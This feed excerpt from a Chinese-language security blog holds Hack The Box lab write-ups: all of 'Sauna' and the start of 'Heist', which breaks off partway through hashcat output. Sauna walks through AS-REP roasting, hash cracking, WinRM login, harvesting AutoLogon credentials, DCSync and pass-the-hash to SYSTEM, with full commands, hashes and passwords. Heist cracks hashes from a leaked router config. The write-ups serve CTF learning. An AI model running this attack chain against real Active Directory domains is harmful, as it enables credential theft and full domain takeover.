    <content type="html"><![CDATA[<style>.crvsbelxtpbn{zoom:50%;}</style><img src="/posts/5551a214/f31d5d0264fadc267e7f38a9d7729d14.png" class="crvsbelxtpbn"><span id="more"></span><table><thead><tr><th>OS</th><th>Difficulty</th></tr></thead><tbody><tr><td>Windows</td><td>Easy</td></tr></tbody></table><h3 id="Nmap-Scan"><a href="#Nmap-Scan" class="headerlink" title="Nmap Scan"></a>Nmap Scan</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ nmap <span class="token number">10.10</span>.10.175 <span class="token parameter variable">-sC</span> <span class="token parameter variable">-sV</span> -p- <span class="token parameter variable">-T4</span> --min-rate <span class="token number">1000</span>  Starting Nmap <span class="token number">7.95</span> <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at <span class="token number">2025</span>-03-22 <span class="token number">15</span>:19 CSTNmap scan report <span class="token keyword">for</span> <span class="token number">10.10</span>.10.175Host is up <span class="token punctuation">(</span><span class="token number">0</span>.11s latency<span class="token punctuation">)</span>.Not shown: <span class="token number">65515</span> filtered tcp ports <span class="token punctuation">(</span>no-response<span class="token punctuation">)</span>PORT      STATE SERVICE       VERSION<span class="token number">53</span>/tcp    <span class="token function">open</span>  domain        Simple DNS Plus<span class="token number">80</span>/tcp    <span class="token function">open</span>  http          Microsoft IIS httpd <span class="token number">10.0</span><span class="token operator">|</span>_http-server-header: Microsoft-IIS/10.0<span class="token operator">|</span>_http-title: Egotistical Bank :: Home<span class="token operator">|</span> http-methods: <span class="token operator">|</span>_  Potentially risky methods: TRACE<span class="token number">88</span>/tcp    <span class="token function">open</span>  kerberos-sec  Microsoft Windows Kerberos <span class="token punctuation">(</span>server time: <span class="token number">2025</span>-03-22 <span class="token number">14</span>:03:56Z<span class="token punctuation">)</span><span class="token number">135</span>/tcp   <span class="token function">open</span>  msrpc         Microsoft Windows RPC<span class="token number">139</span>/tcp   <span class="token function">open</span>  netbios-ssn   Microsoft Windows netbios-ssn<span class="token number">389</span>/tcp   <span class="token function">open</span>  ldap          Microsoft Windows Active Directory LDAP <span class="token punctuation">(</span>Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name<span class="token punctuation">)</span><span class="token number">445</span>/tcp   <span class="token function">open</span>  microsoft-ds?<span class="token number">464</span>/tcp   <span class="token function">open</span>  kpasswd5?<span class="token number">593</span>/tcp   <span class="token function">open</span>  ncacn_http    Microsoft Windows RPC over HTTP <span class="token number">1.0</span><span class="token number">636</span>/tcp   <span class="token function">open</span>  tcpwrapped<span class="token number">3268</span>/tcp  <span class="token function">open</span>  ldap          Microsoft Windows Active Directory LDAP <span class="token punctuation">(</span>Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name<span class="token punctuation">)</span><span class="token number">3269</span>/tcp  <span class="token function">open</span>  tcpwrapped<span class="token number">5985</span>/tcp  <span class="token function">open</span>  http          Microsoft HTTPAPI httpd <span class="token number">2.0</span> <span class="token punctuation">(</span>SSDP/UPnP<span class="token punctuation">)</span><span class="token operator">|</span>_http-title: Not Found<span class="token operator">|</span>_http-server-header: Microsoft-HTTPAPI/2.0<span class="token number">9389</span>/tcp  <span class="token function">open</span>  mc-nmf        .NET Message Framing<span class="token number">49667</span>/tcp <span class="token function">open</span>  msrpc         Microsoft Windows RPC<span class="token number">49673</span>/tcp <span class="token function">open</span>  ncacn_http    Microsoft Windows RPC over HTTP <span class="token number">1.0</span><span class="token number">49674</span>/tcp <span class="token function">open</span>  msrpc         Microsoft Windows RPC<span class="token number">49677</span>/tcp <span class="token function">open</span>  msrpc         Microsoft Windows RPC<span class="token number">49695</span>/tcp <span class="token function">open</span>  msrpc         Microsoft Windows RPC<span class="token number">49717</span>/tcp <span class="token function">open</span>  msrpc         Microsoft Windows RPCService Info: Host: SAUNA<span class="token punctuation">;</span> OS: Windows<span class="token punctuation">;</span> CPE: cpe:/o:microsoft:windowsHost script results:<span class="token operator">|</span> smb2-time: <span class="token operator">|</span>   date: <span class="token number">2025</span>-03-22T14:04:50<span class="token operator">|</span>_  start_date: N/A<span class="token operator">|</span>_clock-skew: 6h41m33s<span class="token operator">|</span> smb2-security-mode: <span class="token operator">|</span>   <span class="token number">3</span>:1:1: <span class="token operator">|</span>_    Message signing enabled and requiredService detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="token builtin class-name">.</span>Nmap done: <span class="token number">1</span> IP address <span class="token punctuation">(</span><span class="token number">1</span> <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> <span class="token number">278.88</span> seconds</code></pre><h3 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h3><p>访问80端口发现一个网站，在&#x2F;about 上可以看到一些用户名</p><img src="/posts/5551a214/image-20250322153810191.png" class="" title="用户名收集"><p>收集页面上的用户名</p><pre class="language-none"><code class="language-none">Fergus SmithShaun CoinsHugo BearBowie TaylorSophie DriverSteven Kerb</code></pre><p>根据用户名重新生成用户名组合</p><pre class="language-none"><code class="language-none">$ .&#x2F;username-anarchy --input-file user.txt --select-format first,flast,first.last firstl &gt; username.txt    </code></pre><pre class="language-none"><code class="language-none">firstlfergusfergus.smithfsmithshaunshaun.coinsscoinshugohugo.bearhbearbowiebowie.taylorbtaylorsophiesophie.driversdriverstevensteven.kerbskerb</code></pre><h3 id="AS-REP-Roasting"><a href="#AS-REP-Roasting" class="headerlink" title="AS-REP Roasting"></a>AS-REP Roasting</h3><p>使用 impacket-GetNPUsers </p><pre class="language-bash" data-language="bash"><code class="language-bash">$ impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -dc-ip <span class="token number">10.10</span>.10.175 <span class="token parameter variable">-usersfile</span> username.txt -no-pass Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies <span class="token punctuation">[</span>-<span class="token punctuation">]</span> Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN<span class="token punctuation">(</span>Client not found <span class="token keyword">in</span> Kerberos database<span class="token punctuation">)</span><span class="token punctuation">[</span>-<span class="token punctuation">]</span> Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN<span class="token punctuation">(</span>Client not found <span class="token keyword">in</span> Kerberos database<span class="token punctuation">)</span><span class="token punctuation">[</span>-<span class="token punctuation">]</span> Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN<span class="token punctuation">(</span>Client not found <span class="token keyword">in</span> Kerberos database<span class="token punctuation">)</span><span class="token variable">$krb5asrep</span><span class="token variable">$23</span><span class="token variable">$fsmith</span>@EGOTISTICAL-BANK.LOCAL:139d477d158ddd194616ff3f5568be1a<span class="token variable">$30b7b9edf20400313d31252b04ee37223a106f79c2d7432fe6f0bf421560f31c7fc566ae368e479428ae09f12a5f86926427ac033248ff05f0ef514574ebd4721f533c79add45bd1b010903e58fb3aeca94f58333811b69ef70346ad227828e5fa36a7d54f4534c51830e7746b5ae87c75dc5c9c4813161eda621fec33235f4872488395fb674c0a154d4fe83892cb301bbaefcef1c3c4ff287e2a4f7903807d08694adcf89d7eb820afaf3ab45440ff68b1bb99385cc8ded853bce4908e7b1e1d669d9f82aca5020be559f060559e78828f3f33c48a4051aef7b8316caa375498b544290d032baf45db2d62e0779ee44f9fb0589ec46f44418ecc0399b16703</span><span class="token punctuation">[</span>-<span class="token punctuation">]</span> Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN<span class="token punctuation">(</span>Client not found <span class="token keyword">in</span> Kerberos database<span class="token punctuation">)</span><span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span></code></pre><p>使用hashcat 破解</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ hashcat <span class="token parameter variable">-a</span> <span class="token number">0</span> <span class="token parameter variable">-m</span> <span class="token number">18200</span> <span class="token builtin class-name">hash</span> /usr/share/wordlists/rockyou.txthashcat <span class="token punctuation">(</span>v6.2.6<span class="token punctuation">)</span> starting<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>Watchdog: Temperature abort trigger <span class="token builtin class-name">set</span> to 90cHost memory required <span class="token keyword">for</span> this attack: <span class="token number">52</span> MBDictionary cache hit:* Filename<span class="token punctuation">..</span>: /usr/share/wordlists/rockyou.txt* Passwords.: <span class="token number">14344385</span>* Bytes<span class="token punctuation">..</span><span class="token punctuation">..</span>.: <span class="token number">139921507</span>* Keyspace<span class="token punctuation">..</span>: <span class="token number">14344385</span><span class="token variable">$krb5asrep</span><span class="token variable">$23</span><span class="token variable">$fsmith</span>@EGOTISTICAL-BANK.LOCAL:139d477d158ddd194616ff3f5568be1a<span class="token variable">$30b7b9edf20400313d31252b04ee37223a106f79c2d7432fe6f0bf421560f31c7fc566ae368e479428ae09f12a5f86926427ac033248ff05f0ef514574ebd4721f533c79add45bd1b010903e58fb3aeca94f58333811b69ef70346ad227828e5fa36a7d54f4534c51830e7746b5ae87c75dc5c9c4813161eda621fec33235f4872488395fb674c0a154d4fe83892cb301bbaefcef1c3c4ff287e2a4f7903807d08694adcf89d7eb820afaf3ab45440ff68b1bb99385cc8ded853bce4908e7b1e1d669d9f82aca5020be559f060559e78828f3f33c48a4051aef7b8316caa375498b544290d032baf45db2d62e0779ee44f9fb0589ec46f44418ecc0399b16703</span>:Thestrokes23                                                          Session<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: hashcatStatus<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: CrackedHash.Mode<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">18200</span> <span class="token punctuation">(</span>Kerberos <span class="token number">5</span>, etype <span class="token number">23</span>, AS-REP<span class="token punctuation">)</span>Hash.Target<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token variable">$krb5asrep</span><span class="token variable">$23</span><span class="token variable">$fsmith</span>@EGOTISTICAL-BANK.LOCAL:139d477<span class="token punctuation">..</span>.b16703Time.Started<span class="token punctuation">..</span><span class="token punctuation">..</span>.: Sat Mar <span class="token number">22</span> <span class="token number">16</span>:45:56 <span class="token number">2025</span> <span class="token punctuation">(</span><span class="token number">2</span> secs<span class="token punctuation">)</span>Time.Estimated<span class="token punctuation">..</span>.: Sat Mar <span class="token number">22</span> <span class="token number">16</span>:45:58 <span class="token number">2025</span> <span class="token punctuation">(</span><span class="token number">0</span> secs<span class="token punctuation">)</span>Kernel.Feature<span class="token punctuation">..</span>.: Pure KernelGuess.Base<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: File <span class="token punctuation">(</span>/usr/share/wordlists/rockyou.txt<span class="token punctuation">)</span>Guess.Queue<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">1</span>/1 <span class="token punctuation">(</span><span class="token number">100.00</span>%<span class="token punctuation">)</span>Speed.<span class="token comment">#1.........:  7849.5 kH/s (9.73ms) @ Accel:1024 Loops:1 Thr:32 Vec:1</span>Recovered<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">1</span>/1 <span class="token punctuation">(</span><span class="token number">100.00</span>%<span class="token punctuation">)</span> Digests <span class="token punctuation">(</span>total<span class="token punctuation">)</span>, <span class="token number">1</span>/1 <span class="token punctuation">(</span><span class="token number">100.00</span>%<span class="token punctuation">)</span> Digests <span class="token punctuation">(</span>new<span class="token punctuation">)</span>Progress<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: <span class="token number">10616832</span>/14344385 <span class="token punctuation">(</span><span class="token number">74.01</span>%<span class="token punctuation">)</span>Rejected<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: <span class="token number">0</span>/10616832 <span class="token punctuation">(</span><span class="token number">0.00</span>%<span class="token punctuation">)</span>Restore.Point<span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">10420224</span>/14344385 <span class="token punctuation">(</span><span class="token number">72.64</span>%<span class="token punctuation">)</span>Restore.Sub.<span class="token comment">#1...: Salt:0 Amplifier:0-1 Iteration:0-1</span>Candidate.Engine.: Device GeneratorCandidates.<span class="token comment">#1....: aaron822 -> Saboka54</span>Hardware.Mon.<span class="token comment">#1..: Temp: 44c Util: 50% Core:1771MHz Mem:3504MHz Bus:8</span>Started: Sat Mar <span class="token number">22</span> <span class="token number">16</span>:45:43 <span class="token number">2025</span>Stopped: Sat Mar <span class="token number">22</span> <span class="token number">16</span>:45:59 <span class="token number">2025</span></code></pre><p>使用evil-winrm 登录目标</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ evil-winrm <span class="token parameter variable">-i</span> <span class="token number">10.10</span>.10.175 <span class="token parameter variable">-u</span> fsmith  <span class="token parameter variable">-p</span> Thestrokes23                                         Evil-WinRM shell v3.7<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>                                       Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>FSmith<span class="token punctuation">\</span>Documents<span class="token operator">></span> *Evil-WinRM* PS C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>FSmith<span class="token punctuation">\</span>desktop<span class="token operator">></span> <span class="token function">dir</span>    Directory: C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>FSmith<span class="token punctuation">\</span>desktopMode                LastWriteTime         Length Name----                -------------         ------ -----ar---        <span class="token number">3</span>/22/2025   <span class="token number">6</span>:49 AM             <span class="token number">34</span> user.txt</code></pre><h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><p>上传winPEASany.exe并运行。可以找到凭证</p><pre class="language-bash" data-language="bash"><code class="language-bash">*Evil-WinRM* PS C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>FSmith<span class="token punctuation">\</span>Documents<span class="token operator">></span> .<span class="token punctuation">\</span>winPEASany.exeANSI color bit <span class="token keyword">for</span> Windows is not set. If you are executing this from a Windows terminal inside the <span class="token function">host</span> you should run <span class="token string">'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1'</span> and <span class="token keyword">then</span> start a new CMDLong paths are disabled, so the maximum length of a path supported is <span class="token number">260</span> chars <span class="token punctuation">(</span>this may cause <span class="token boolean">false</span> negatives when looking <span class="token keyword">for</span> files<span class="token punctuation">)</span>. If you are admin, you can <span class="token builtin class-name">enable</span> it with <span class="token string">'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1'</span> and <span class="token keyword">then</span> start a new CMD<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking <span class="token keyword">for</span> AutoLogon credentials    Some AutoLogon credentials were found    DefaultDomainName             <span class="token builtin class-name">:</span>  EGOTISTICALBANK    DefaultUserName               <span class="token builtin class-name">:</span>  EGOTISTICALBANK<span class="token punctuation">\</span>svc_loanmanager    DefaultPassword               <span class="token builtin class-name">:</span>  Moneymakestheworldgoround<span class="token operator">!</span>ÉÍÍÍÍÍÍÍÍÍÍ¹ Password Policies<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span></code></pre><p>使用Bloodhound分析域信息</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ bloodhound-python   <span class="token parameter variable">-u</span> fsmith  <span class="token parameter variable">-p</span> Thestrokes23  <span class="token parameter variable">-d</span> EGOTISTICAL-BANK.LOCAL <span class="token parameter variable">-ns</span> <span class="token number">10.10</span>.10.175  <span class="token parameter variable">-c</span> all <span class="token parameter variable">--zip</span>INFO: BloodHound.py <span class="token keyword">for</span> BloodHound LEGACY <span class="token punctuation">(</span>BloodHound <span class="token number">4.2</span> and <span class="token number">4.3</span><span class="token punctuation">)</span>INFO: Found AD domain: egotistical-bank.localINFO: Getting TGT <span class="token keyword">for</span> userWARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: <span class="token punctuation">[</span>Errno Connection error <span class="token punctuation">(</span>SAUNA.EGOTISTICAL-BANK.LOCAL:88<span class="token punctuation">)</span><span class="token punctuation">]</span> <span class="token punctuation">[</span>Errno -2<span class="token punctuation">]</span> Name or <span class="token function">service</span> not knownINFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCALINFO: Found <span class="token number">1</span> domainsINFO: Found <span class="token number">1</span> domains <span class="token keyword">in</span> the forestINFO: Found <span class="token number">1</span> computersINFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCALINFO: Found <span class="token number">7</span> <span class="token function">users</span>INFO: Found <span class="token number">52</span> <span class="token function">groups</span>INFO: Found <span class="token number">3</span> gposINFO: Found <span class="token number">1</span> ousINFO: Found <span class="token number">19</span> containersINFO: Found <span class="token number">0</span> trustsINFO: Starting computer enumeration with <span class="token number">10</span> workersINFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCALINFO: Done <span class="token keyword">in</span> 00M 36SINFO: Compressing output into 20250322171023_bloodhound.zip</code></pre><img src="/posts/5551a214/image-20250322171839977.png" class="" title="Bloodhound"><h3 id="DCsync-attack"><a href="#DCsync-attack" class="headerlink" title="DCsync attack"></a>DCsync attack</h3><p>使用impacket-secretsdump 进行DCSync attack </p><pre class="language-bash" data-language="bash"><code class="language-bash">$ impacket-secretsdump  <span class="token string">'EGOTISTICAL-BANK/svc_loanmgr@10.10.10.175'</span>  -just-dc-user Administrator Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies Password:<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Dumping Domain Credentials <span class="token punctuation">(</span>domain<span class="token punctuation">\</span>uid:rid:lmhash:nthash<span class="token punctuation">)</span><span class="token punctuation">[</span>*<span class="token punctuation">]</span> Using the DRSUAPI method to get NTDS.DIT secretsAdministrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Kerberos keys grabbedAdministrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4eAdministrator:des-cbc-md5:fb8f321c64cea87f<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Cleaning up<span class="token punctuation">..</span>. </code></pre><p>使用impacket-psexec 登录目标，获得系统权限</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ impacket-psexec <span class="token string">'EGOTISTICAL-BANK/Administrator@10.10.10.175'</span> <span class="token parameter variable">-hashes</span> <span class="token string">'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e'</span> Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies <span class="token punctuation">[</span>*<span class="token punctuation">]</span> Requesting shares on <span class="token number">10.10</span>.10.175<span class="token punctuation">..</span><span class="token punctuation">..</span>.<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Found writable share ADMIN$<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Uploading <span class="token function">file</span> eVKpxetW.exe<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Opening SVCManager on <span class="token number">10.10</span>.10.175<span class="token punctuation">..</span><span class="token punctuation">..</span>.<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Creating <span class="token function">service</span> dRDK on <span class="token number">10.10</span>.10.175<span class="token punctuation">..</span><span class="token punctuation">..</span>.<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Starting <span class="token function">service</span> dRDK<span class="token punctuation">..</span><span class="token punctuation">..</span>.<span class="token punctuation">[</span><span class="token operator">!</span><span class="token punctuation">]</span> Press <span class="token builtin class-name">help</span> <span class="token keyword">for</span> extra shell commandsMicrosoft Windows <span class="token punctuation">[</span>Version <span class="token number">10.0</span>.17763.973<span class="token punctuation">]</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span> <span class="token number">2018</span> Microsoft Corporation. All rights reserved.C:<span class="token punctuation">\</span>Windows<span class="token punctuation">\</span>system3<span class="token operator"><span class="token file-descriptor important">2</span>></span> <span class="token function">whoami</span>nt authority<span class="token punctuation">\</span>system</code></pre><table><thead><tr><th align="left">Flag</th><th align="left">Path</th></tr></thead><tbody><tr><td align="left">Flag1</td><td align="left">C:\Users\FSmith\Desktop\user.txt</td></tr><tr><td align="left">Flag2</td><td align="left">C:\Users\Administrator\Desktop\root.txt</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;style&gt;.crvsbelxtpbn{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/5551a214/f31d5d0264fadc267e7f38a9d7729d14.png&quot; class=&quot;crvsbelxtpbn&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="信息收集" scheme="https://ry0ma24.github.io/tags/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/"/>
    
    <category term="域渗透" scheme="https://ry0ma24.github.io/tags/%E5%9F%9F%E6%B8%97%E9%80%8F/"/>
    
  </entry>
  
  <entry>
    <title>HTB-Heist</title>
    <link href="https://ry0ma24.github.io/posts/4a8e4133.html"/>
    <id>https://ry0ma24.github.io/posts/4a8e4133.html</id>
    <published>2025-03-22T04:02:00.000Z</published>
    <updated>2025-04-25T08:44:00.916Z</updated>
    
    <content type="html"><![CDATA[<style>.cpslxwpbrurp{zoom:50%;}</style><img src="/posts/4a8e4133/131dbaba68b169bd5ff59ac09420b09f.png" class="cpslxwpbrurp"><span id="more"></span><table><thead><tr><th>OS</th><th>Difficulty</th></tr></thead><tbody><tr><td>Windows</td><td>Easy</td></tr></tbody></table><h3 id="Nmap-Scan"><a href="#Nmap-Scan" class="headerlink" title="Nmap Scan"></a>Nmap Scan</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ nmap <span class="token number">10.10</span>.10.149 <span class="token parameter variable">-sC</span> <span class="token parameter variable">-sV</span> -p- <span class="token parameter variable">-T4</span> --min-rate <span class="token number">1000</span>                 Starting Nmap <span class="token number">7.95</span> <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at <span class="token number">2025</span>-03-22 <span class="token number">12</span>:02 CSTNmap scan report <span class="token keyword">for</span> <span class="token number">10.10</span>.10.149Host is up <span class="token punctuation">(</span><span class="token number">0</span>.11s latency<span class="token punctuation">)</span>.Not shown: <span class="token number">65530</span> filtered tcp ports <span class="token punctuation">(</span>no-response<span class="token punctuation">)</span>PORT      STATE SERVICE       VERSION<span class="token number">80</span>/tcp    <span class="token function">open</span>  http          Microsoft IIS httpd <span class="token number">10.0</span><span class="token operator">|</span> http-methods: <span class="token operator">|</span>_  Potentially risky methods: TRACE<span class="token operator">|</span> http-title: Support Login Page<span class="token operator">|</span>_Requested resource was login.php<span class="token operator">|</span>_http-server-header: Microsoft-IIS/10.0<span class="token operator">|</span> http-cookie-flags: <span class="token operator">|</span>   /: <span class="token operator">|</span>     PHPSESSID: <span class="token operator">|</span>_      httponly flag not <span class="token builtin class-name">set</span><span class="token number">135</span>/tcp   <span class="token function">open</span>  msrpc         Microsoft Windows RPC<span class="token number">445</span>/tcp   <span class="token function">open</span>  microsoft-ds?<span class="token number">5985</span>/tcp  <span class="token function">open</span>  http          Microsoft HTTPAPI httpd <span class="token number">2.0</span> <span class="token punctuation">(</span>SSDP/UPnP<span class="token punctuation">)</span><span class="token operator">|</span>_http-title: Not Found<span class="token operator">|</span>_http-server-header: Microsoft-HTTPAPI/2.0<span class="token number">49669</span>/tcp <span class="token function">open</span>  msrpc         Microsoft Windows RPCService Info: OS: Windows<span class="token punctuation">;</span> CPE: cpe:/o:microsoft:windowsHost script results:<span class="token operator">|</span> smb2-time: <span class="token operator">|</span>   date: <span class="token number">2025</span>-03-22T03:46:41<span class="token operator">|</span>_  start_date: N/A<span class="token operator">|</span> smb2-security-mode: <span class="token operator">|</span>   <span class="token number">3</span>:1:1: <span class="token operator">|</span>_    Message signing enabled but not required<span class="token operator">|</span>_clock-skew: <span class="token parameter variable">-18m26s</span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="token builtin class-name">.</span>Nmap done: <span class="token number">1</span> IP address <span class="token punctuation">(</span><span class="token number">1</span> <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> <span class="token number">217.07</span> seconds</code></pre><p>添加本地域名解析</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token builtin class-name">echo</span> <span class="token string">'10.10.10.149  heist.htb'</span> <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token function">tee</span> <span class="token parameter variable">-a</span> /etc/hosts </code></pre><p>访问80 端口，点击guest登录</p><img src="/posts/4a8e4133/image-20250322122035954.png" class="" title="登录"><p>点击Attachment，跳转到<code>http://heist.htb/attachments/config.txt</code></p><img src="/posts/4a8e4133/image-20250322121508924.png" class="" title="config.txt"><p>可以获取到用户名和密码hash</p><pre class="language-txt" data-language="txt"><code class="language-txt">version 12.2no service padservice password-encryption!isdn switch-type basic-5ess!hostname ios-1!security passwords min-length 12enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91!username rout3r password 7 0242114B0E143F015F5D1E161713username admin privilege 15 password 7 02375012182C1A1D751618034F36415408!!ip ssh authentication-retries 5ip ssh version 2!!router bgp 100 synchronization bgp log-neighbor-changes bgp dampening network 192.168.0.0Â mask 300.255.255.0 timers bgp 3 9 redistribute connected!ip classlessip route 0.0.0.0 0.0.0.0 192.168.0.1!!access-list 101 permit ip any anydialer-list 1 protocol ip list 101!no ip http serverno ip http secure-server!line vty 0 4 session-timeout 600 authorization exec SSH transport input ssh</code></pre><h3 id="密码破解"><a href="#密码破解" class="headerlink" title="密码破解"></a>密码破解</h3><p>破解password7 <code>https://www.firewall.cx/cisco/cisco-routers/cisco-type7-password-crack.html</code></p><p>使用hashid 识别hash 类型然后使用hashcat 破解</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ hashid <span class="token string">'$1$pdQG$o8nrSzsGXeaduXrjlvKc91'</span>Analyzing <span class="token string">'$1$pdQG$o8nrSzsGXeaduXrjlvKc91'</span><span class="token punctuation">[</span>+<span class="token punctuation">]</span> MD5 Crypt <span class="token punctuation">[</span>+<span class="token punctuation">]</span> Cisco-IOS<span class="token punctuation">(</span>MD5<span class="token punctuation">)</span> <span class="token punctuation">[</span>+<span class="token punctuation">]</span> FreeBSD MD5 </code></pre><pre class="language-bash" data-language="bash"><code class="language-bash">$ hashcat <span class="token parameter variable">-a</span> <span class="token number">0</span> <span class="token parameter variable">-m</span> <span class="token number">500</span>  <span class="token builtin class-name">hash</span> /usr/share/wordlists/rockyou.txt hashcat <span class="token punctuation">(</span>v6.2.6<span class="token punctuation">)</span> starting<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span><span class="token variable">$1</span><span class="token variable">$pdQG</span><span class="token variable">$o8nrSzsGXeaduXrjlvKc91</span>:stealth1agent                                                                        Session<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: hashcatStatus<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: CrackedHash.Mode<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">500</span> <span class="token punctuation">(</span>md5crypt, MD5 <span class="token punctuation">(</span>Unix<span class="token punctuation">)</span>, Cisco-IOS <span class="token variable">$1</span>$ <span class="token punctuation">(</span>MD5<span class="token punctuation">))</span>Hash.Target<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token variable">$1</span><span class="token variable">$pdQG</span><span class="token variable">$o8nrSzsGXeaduXrjlvKc91</span>Time.Started<span class="token punctuation">..</span><span class="token punctuation">..</span>.: Sat Mar <span class="token number">22</span> <span class="token number">12</span>:30:30 <span class="token number">2025</span> <span class="token punctuation">(</span><span class="token number">13</span> secs<span class="token punctuation">)</span>Time.Estimated<span class="token punctuation">..</span>.: Sat Mar <span class="token number">22</span> <span class="token number">12</span>:30:43 <span class="token number">2025</span> <span class="token punctuation">(</span><span class="token number">0</span> secs<span class="token punctuation">)</span>Kernel.Feature<span class="token punctuation">..</span>.: Pure KernelGuess.Base<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: File <span class="token punctuation">(</span>/usr/share/wordlists/rockyou.txt<span class="token punctuation">)</span>Guess.Queue<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">1</span>/1 <span class="token punctuation">(</span><span class="token number">100.00</span>%<span class="token punctuation">)</span>Speed.<span class="token comment">#1.........:   267.4 kH/s (7.34ms) @ Accel:128 Loops:125 Thr:32 Vec:1</span>Recovered<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">1</span>/1 <span class="token punctuation">(</span><span class="token number">100.00</span>%<span class="token punctuation">)</span> Digests <span class="token punctuation">(</span>total<span class="token punctuation">)</span>, <span class="token number">1</span>/1 <span class="token punctuation">(</span><span class="token number">100.00</span>%<span class="token punctuation">)</span> Digests <span class="token punctuation">(</span>new<span class="token punctuation">)</span>Progress<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token 